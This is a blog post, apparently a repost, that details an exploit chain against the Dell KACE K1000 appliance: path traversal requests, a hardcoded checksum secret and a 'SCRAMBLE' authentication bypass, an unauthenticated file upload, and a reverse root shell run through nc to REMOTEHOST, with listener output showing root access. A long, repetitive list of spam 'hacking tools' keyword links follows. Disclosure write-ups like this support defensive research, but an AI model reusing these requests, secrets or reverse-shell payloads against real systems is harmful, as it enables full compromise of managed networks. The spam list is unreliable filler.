A bit over a month ago I had the chance to play with a Dell KACE K1000 appliance ("http://www.kace.com/products/systems-management-appliance"). I'm not even sure how to feel about what I saw, mostly I was just disgusted. All of the following was confirmed on the latest version of the K1000 appliance (5.5.90545), if they weren't working on a patch for this - they are now.
Anyways, the first bug I ran into was an authenticated script that was vulnerable to path traversal:
POST /userui/downloadpxy.php HTTP/1.1That bug is neat, but its post-auth and can't be used for RCE because it returns the file as an attachment :(
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: kboxid=xxxxxxxxxxxxxxxxxxxxxxxx
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
DOWNLOAD_SOFTWARE_ID=1227&DOWNLOAD_FILE=../../../../../../../../../../usr/local/etc/php.ini&ID=7&Download=Download
HTTP/1.1 200 OK
Date: Tue, 04 Feb 2014 21:38:39 GMT
Server: Apache
Expires: 0
Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform
Pragma: public
Content-Length: 47071
Content-Disposition: attachment; filename*=UTF-8''..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr%2Flocal%2Fetc%2Fphp.ini
X-DellKACE-Appliance: k1000
X-DellKACE-Version: 5.5.90545
X-KBOX-Version: 5.5.90545
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/ini
[PHP]
;;;;;;;;;;;;;;;;;;;
; About php.ini ;
;;;;;;;;;;;;;;;;;;;
So moving along, I utilized the previous bug to navigate the file system (its nice enough to give a directory listing if a path is provided, thanks!), this led me to a file named "kbot_upload.php". This file is located on the appliance at the following location:
http://targethost/service/kbot_upload.php
This script includes "KBotUpload.class.php" and then calls "KBotUpload::HandlePUT()", it does not check for a valid session and utilizes its own "special" means to auth the request.
The "HandlePut()" function contains the following calls:
$checksumFn = $_GET['filename'];
$fn = rawurldecode($_GET['filename']);
$machineId = $_GET['machineId'];
$checksum = $_GET['checksum'];
$mac = $_GET['mac'];
$kbotId = $_GET['kbotId'];
$version = $_GET['version'];
$patchScheduleId = $_GET['patchscheduleid'];
if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {
KBLog($_SERVER["REMOTE_ADDR"] . " token checksum did not match, "
."($machineId, $checksumFn, $mac)");
KBLog($_SERVER['REMOTE_ADDR'] . " returning 500 "
."from HandlePUT(".construct_url($_GET).")");
header("Status: 500", true, 500);
return;
}
md5("$filename $machineId $mac" . 'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
Server side check:
private static function calcTokenChecksum($filename, $machineId, $mac)
{
//return md5("$filename $machineId $mac" . $ip .
// 'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
// our tracking of ips really sucks and when I'm vpn'ed from
// home I couldn't get patching to work, cause the ip that
// was on the machine record was different from the
// remote server ip.
return md5("$filename $machineId $mac" .
'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
}
The "secret" value is hardcoded into the application and cannot be changed by the end user (backdoor++;). Once an attacker knows this value, they are able to bypass the authorization check and upload a file to the server.
In addition to this "calcTokenChecksum" check, there is a hardcoded value of "SCRAMBLE" that can be provided by the attacker that will bypass the auth check (backdoor++;):
if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {
Once this check is bypassed we are able to write a file anywhere on the server where we have permissions (thanks directory traversal #2!), at this time we are running in the context of the "www" user (boooooo). The "www" user has permission to write to the directory "/kbox/kboxwww/tmp", time to escalate to something more useful :)
From our new home in "tmp" with our weak user it was discovered that the KACE K1000 application contains admin functionality (not exposed to the webroot) that is able to execute commands as root using some IPC ("KSudoClient.class.php").
The "KSudoClient.class.php" can be used to execute commands as root, specifically the function "RunCommandWait". The following application call utilizes everything that was outlined above and sets up a reverse root shell, "REMOTEHOST" would be replaced with the host we want the server to connect back to:
POST /service/kbot_upload.php?filename=db.php&machineId=../../../kboxwww/tmp/&checksum=SCRAMBLE&mac=xxx&kbotId=blah&version=blah&patchsecheduleid=blah HTTP/1.1Once this was sent, we can setup our listener on our server and call the file we uploaded and receive our root shell:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 190
<?php
require_once 'KSudoClient.class.php';
KSudoClient::RunCommandWait("rm /kbox/kboxwww/tmp/db.php;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc REMOTEHOST 4444 >/tmp/f");?>
http://targethost/service/tmp/db.php
On our host:
~$ ncat -lkvp 4444
Ncat: Version 5.21 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from XX.XX.XX.XX
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
So at the end of the the day the count looks like this:
Directory Traversals: 2That all adds up to owned last time I checked.
Backdoors: 2
Privilege Escalation: 1
Example PoC can be found at the following location:
https://github.com/steponequit/kaced/blob/master/kaced.py
Example usage can be seen below:
Continue reading
- Hacking Tools 2020
- Github Hacking Tools
- Pentest Tools Free
- Pentest Tools Alternative
- Hacker Tools For Mac
- Hackrf Tools
- New Hack Tools
- Wifi Hacker Tools For Windows
- Pentest Reporting Tools
- Pentest Tools Free
- Hacking Tools Mac
- Pentest Tools List
- Hack Tool Apk
- Nsa Hack Tools Download
- Top Pentest Tools
- Best Pentesting Tools 2018
- Nsa Hacker Tools
- Hacker Tools Free Download
- Hacking Tools For Windows
- Nsa Hack Tools
- Growth Hacker Tools
- Hack Tools
- Pentest Tools Bluekeep
- Hacker Tools Hardware
- What Is Hacking Tools
- Tools Used For Hacking
- Hacker Tools Github
- How To Hack
- Hacking Tools For Pc
- Hacking Tools Usb
- World No 1 Hacker Software
- Hack Tools Download
- Hack And Tools
- Pentest Tools For Ubuntu
- Underground Hacker Sites
- Hacker Search Tools
- Hack App
- Hacking Tools Free Download
- Hack Tools
- Hacker Tools 2019
- Hacker Tools Apk
- Computer Hacker
- Hacker Tools Software
- Hacking Tools Windows
- Pentest Tools Website
- Pentest Tools Windows
- Hacking Tools 2020
- Pentest Tools Alternative
- Hacking Tools Hardware
- Hacker Tools Free
- Pentest Tools Subdomain
- New Hacker Tools
- Hack App
- Pentest Tools Windows
- Hack Tools For Games
- Underground Hacker Sites
- Hack Tools
- New Hacker Tools
- Hack Tools For Windows
- Android Hack Tools Github
- Pentest Tools Bluekeep
- Hacking Tools And Software
- Game Hacking
- Top Pentest Tools
- Hacker Tools Free
- Hacking Tools For Games
- Hacking Tools For Windows
- World No 1 Hacker Software
- What Is Hacking Tools
- Pentest Tools Linux
- Hacker Search Tools
- Github Hacking Tools
- Hacking Tools For Windows 7
- Pentest Tools Nmap
- Hacker Tools Free Download
- Hacking Tools For Beginners
- Hacks And Tools
- New Hack Tools
- Android Hack Tools Github
- Hack Tools 2019
- Hacking Tools For Windows 7
- Hacker Security Tools
- Pentest Tools Alternative
- Android Hack Tools Github
- Hacker Tool Kit
- Hacking Tools For Beginners
- Hacker Tools Linux
- Pentest Tools Linux
- Game Hacking
- Hackers Toolbox
- Hacker Tools Windows
- Hackrf Tools
- Hack Tools Online
- Hacking Tools For Pc
- Hack Tools
- How To Hack
- How To Hack
- New Hack Tools
- Hack Apps
- Hacking Tools For Pc
- Top Pentest Tools
- Hack Apps
- Pentest Tools Port Scanner
- Hacking Tools For Windows 7
- Hack Tools
- Pentest Tools
- Pentest Tools
- Pentest Tools For Android
- Android Hack Tools Github
- Hacker
- Pentest Tools Website
- Usb Pentest Tools
- How To Install Pentest Tools In Ubuntu
- Pentest Tools Kali Linux
- Hack Tools
- Android Hack Tools Github
- Tools Used For Hacking
- Best Hacking Tools 2019
- Pentest Tools Website
- Pentest Tools Subdomain
- Pentest Tools Url Fuzzer
- What Is Hacking Tools
- Hack Tools 2019
- Hacker Security Tools
- Pentest Tools Kali Linux
- Tools 4 Hack
- Hack Tools
- Pentest Tools Windows
- Hacking Tools Github
- Pentest Tools Website
- Android Hack Tools Github
- Pentest Tools For Ubuntu
- Hacking Tools For Beginners
- Hack Tool Apk
- Hacker Tools
- Hack Tools For Ubuntu
- What Are Hacking Tools
- Pentest Reporting Tools
- Nsa Hack Tools Download
- Pentest Tools List
- Hacker Tools List
- Hacker Tools
- Hacking Tools Pc
- Growth Hacker Tools
- Blackhat Hacker Tools
- Hacking Tools
- Pentest Tools Android
- Pentest Tools Apk
- Pentest Tools For Mac
- Usb Pentest Tools
- Hack Tools Online
- What Are Hacking Tools
- Easy Hack Tools
- Hacker Tools Hardware
- Hacker Security Tools
- How To Hack
- Hacker Tools Online
- Hacker Security Tools
- Pentest Tools For Windows
- Black Hat Hacker Tools
- Pentest Tools For Ubuntu
- Hacking Tools 2019
- Beginner Hacker Tools
- Wifi Hacker Tools For Windows
- Hacking Tools For Windows
- Top Pentest Tools
- Black Hat Hacker Tools
- Hacking Tools For Windows Free Download
- Tools 4 Hack
- Pentest Tools
- Pentest Tools Port Scanner
No comments:
Post a Comment